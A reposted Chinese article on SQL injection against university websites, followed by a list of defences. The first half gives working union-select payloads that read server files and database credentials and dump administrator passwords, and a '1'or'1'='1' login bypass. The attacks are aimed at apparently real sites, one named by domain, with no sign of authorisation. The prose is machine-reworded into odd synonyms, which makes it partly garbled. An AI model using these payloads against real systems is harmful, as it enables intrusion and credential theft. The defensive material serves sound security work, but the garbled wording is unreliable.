对高校网站的SQL注入测试和防备[网络技术]
本文“对高校网站的SQL注入测试和防备[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
文/图 江夏秋
===================================
校园网站有的隶属于学校,有的隶属于某一学院,有的属于某一社团组织,网站服务器有的是由技术人员负责保护的,有些则没有专人保护,服务器系统建立完毕之后无人管理,大概管理情形非常混乱.在网络上对比风行乃至是已经过期的漏洞在这里都能找到,所以校园网站常常是攻击者的试验目标,有的乃至被攻击者攻破作为攻击的跳板也无人发觉.所以平常就有必要对它举行测试,提早找出并补上漏洞.
SQL注入固然风行多时,但是其攻击办法不断发展,防备办法做的不够,由于动态语言、Web Server和数据库Server的多样性,还没有一个通用的办理筹划,各种缘由招致它仍然是Web安全的主要威胁.分外对有来自外部和内部双重安全威胁的校园网,这种攻击仍然很有威力.校园网站的主要作用是公布信息,所以只需中小型数据库作为后台数据库便可,普通选用MySQL+PHP或Access+ASP的组合对比常见,下面就这两种组合谈论一下.
MySQL+PHP
MySQL+ PHP的搭配整体安全性能对比好.当php.ini里的magic_quotes_gpc为on时,会对以GET/POST/COOKIE三种情势提交的变量中的"'"、"""、"\"及空字符(NULL)自动在前面加上反斜线,从而避免大部份常见的注入.MySQL4以下版本不支持union语句,所以当采取MySQL4以下的版本时,SQL注入经常用到的union查询是无效的.
这次作为测试例子的网站是存在SQL注入漏洞的,因为它的board_news_id参数没有严峻查抄就交与数据库履行了.提交下面的语句,后果如图1所示.
http://xxx.xxx.edu.cn/board/show_board_news.php?board_news_id=884%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11
图1
用load_file查看c:/boot.ini的内容.c:/boot.ini 转为呼应的ASCII字符编码为char(99,58,47,98,111,111,116,46,105,110,105),提交下面的语句,后果如图2所示.
http://xxx.xxx.edu.cn/board/show_board_news.php?board_news_id=884/**/and/**/1=2/**/union/**/select/**/1,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11
图2
再查看php.ini的内容,既然系统是Window 2000 Advanced Server,所以系统目录应当是C:\winnt,试试C:\winnt\php.ini.提交下面的语句,后果如图3所示.可见magic_qutoes_gpc=on,所以只能构造不含单引号的注入语句举行注入.
http://xxx.xxx.edu.cn/board/show_board_news.php?board_news_id=884/**/and/**/1=2/**/union/**/select/**/1,2,load_file(char(99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105)),4,5,6,7,8,9,10,11
图3
下面我们来暴出它的admin表中的用户账户信息,操纵这个便可以登录后台,并拥有管理员的权限了.提交下面的语句,后果如图4所示.
http://www.sim.whu.edu.cn/board/show_board_news.php?board_news_id=880/**/and/**/1=2/**/union/**/select/**/1,admin_name,admin_password,4,5,6,7,8,9,10,11%20from%20admin
图4
其实,我们操纵Load_file函数还可以得到MySQL数据库的用户账户信息的.用它先来查看Show_board_news.php.由于这个网站没有屏蔽出错信息,构造一个错误的参数提交,就会直接给出物理途径:D:\newsim\board\show_board_news.php,将这个途径举行ASCII字符编码后,提交下面的语句,后果如图5所示.
http://xxx.xxx.edu.cn/board/show_board_news.php?board_news_id=884/**/and/**/1=2/**/union/**/select/**/1,2,load_file(char(100,58,47,110,101,119,115,105,109,47,98,111,97,114,100,47,115,104,111,119,95,98,111,97,114,100,95,110,101,119,
115,46,112,104,112)),4,5,6,7,8,9,10,11
图5
这个include/conn.php中大概包含衔接数据库的信息,那么就再load_file函数看一下它吧.提交下面的语句,后果如图6所示.
http://xxx.xxx.edu.cn/board/show_board_news.php?board_news_id=884/**/and/**/1=2/**/union/**/select/**/1,2,load_file(char(100,58,47,110,101,119,115,105,109,47,105,110,99,108,117,100,101,47,99,111,110,110,46,112,104,112)),4,5,6,7,8,9,10,11
图6
查看源码可以看到衔接数据库用到的账号信息,如图7所示.即便这个网站设置了magic_qutoes_gpc=on,我们还是可以注入成功,并得到一些敏感信息的.
图7
Access+ASP
由于用Access+ASP建站简单快速,所以在校园网中这样的网站一抓就是一大把.我测试时选取的这个例子几近对SQL注入没有任何防备.在地址栏输入http://xxx.xxx.edu.cn/read.asp?id=636'"提醒出错,输http://xxx.xxx.edu.cn/read.asp?id=636%20and%201=1可以正常显示,输入http://xxx.xxx.edu.cn/read.asp?id=636%20and%201=2"提醒出错.这证明它将用户输入未加过滤就履行了.大概网站管理员好久没有关心网站的安全问题了,SQL注入问题出来这么久了,到目前还完好没有防备!Access的注入思绪对比简单,循序渐进地做就行,接下来猜解数据库的表名、字段名、字段值,从而得到管理员的用户名和密码等敏感信息.
提交http://xxx.xxx.edu.cn/read.asp?id=636%20and%20(select%20count(*)%20from
%20admin)=6"页面正常显示,阐明存在表admin,并且有6条记录.下面猜解的任务交给工具完成,很快就得到了管理员用户名和密码.令我吃惊的是,竟然有效户名为"admin",密码为"admin"的弱密码,这不是明摆着要人攻击嘛.
目前登录后台,看看有什么可以操纵的.后果弹出IP地址不在答应拜候范围的出错提醒,拜候不了,看来管理员还是留了一手,答应拜候的IP大概是受信的几个特定IP.
在主页上逛了一下,发目前主页的下方有一个相关链接的栏目,里面有一串超链接.普通院里的服务器上会挂接很多下级网站的,所以可以考虑旁注.点开一个链接进去,发现这个网站页面也是Access+ASP构造的.一查IP地址,公然是与先前网站是同一IP,并且一样存在SQL注入漏洞.它的后台很好找,首页上就有链接地址.登录考证口令时一样没有处理特别字符,用"1’or’1’=’1"就进入了后台.
防备办法
这次测试是针对SQL注入漏洞的.即便用的是普通攻击手段,表露的问题仍然对比严重,所以要及时修补漏洞,做好防备.
普通网站城市在自己网站程序逻辑中加入特别字符过滤的语句,或是附上一个通用防注入模块.但是这些避免注入办法不是很美满,比方有的过滤了"select",但是没有过滤"SELect",有的处理了Post和Get办法提交的参数,但是对从Cookie读出来提交给数据库的参数却未作任何限制.目前的防备办法对比多了,但是没有一个是很完好的,各个办法各有优劣.
1) 用replace()函数将单引号转化为双引号.此举在一定程度上抵挡了常见攻击,但是关于恶意攻击者来说,还是可以冲破的.常见的有二次SQL注入和操纵截断技术的SQL注入攻击.
2) 特点匹配.过滤掉了敏感字符,包含"OR","AND",";","'","SELECT","INSERT","UPDATE""DROP","Xp_","HAVING","GROUP BY","UNION".这种防备办法简单产生误报,并且攻击者可以将这些敏感字符或是字符串用十六进制表示或是操纵char()、concat()表示,利用差别的字符集、编码方法,还可以向敏感字符串内加入空格、tab、注释标记来避免特点匹配成功.
3) 屏蔽掉出错信息.对比直接的SQL注入攻击是通过出错页面来获得一些敏感信息的,通过屏蔽出错信息可以预防这一点.但是由此盲注又发展起来了,普通是通过if判断,延时函数来完成.
4) 操纵调用存储历程来替换动态SQL.这种办法据说能抵挡SQL注入,但是要精确利用存储历程,因为存储历程对SQL语句的构造举行了严峻定义,对用户的输入只举行参数处理,并且查验参数的范例和长度.不过网上也有说可以成功注入存储历程的,并且对既有的网站通通改用调用存储历程将会有很大的工作量.
5) 改正大概去掉服务器上默许的一些危险号令,按照最小权限原则分配用户的操作权限.这样即便系统存在SQL注入漏洞,攻击者也不能操纵它来获得敏感信息,实施违规操作.
6) 对用户的输入参数做长度限制.举行SQL注入时必定加长了输入参数,假如限制了长度,必定使复杂的SQL注入语句不能得到提交.但是也有一些短小的SQL语句,比方drop语句,假如它得到了履行,一样会造成严重后果.并且长度限制大概被绕过,比方假如在客户端用JavaScript做长度考证,就很简单被绕过.
固然这些防备办法还有不足,但是防和没防是两回事,这些办法还是经过实践证明对比有效的,足以抵挡住大部份攻击,何况我们还可以组合起来用,取长补短.别的,利用强密码、难猜解的表名、列名、躲藏的后台地址都可以有效地挡住攻击者.
小结
都说大学校园是象牙塔,校园的围墙将纯洁的校园与社会断绝开来,但是在网上可没有这么明显的边界,即便有防火墙断绝,也不会防备基于Web利用层面的攻击.网站安全的提高主如果靠网站建立者和保护者安全意识和水平的提高.所认为了给高校师生提高安全有效的信息服务,广大网站建立者和保护者需求负担起自己的责任
以上是“对高校网站的SQL注入测试和防备[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |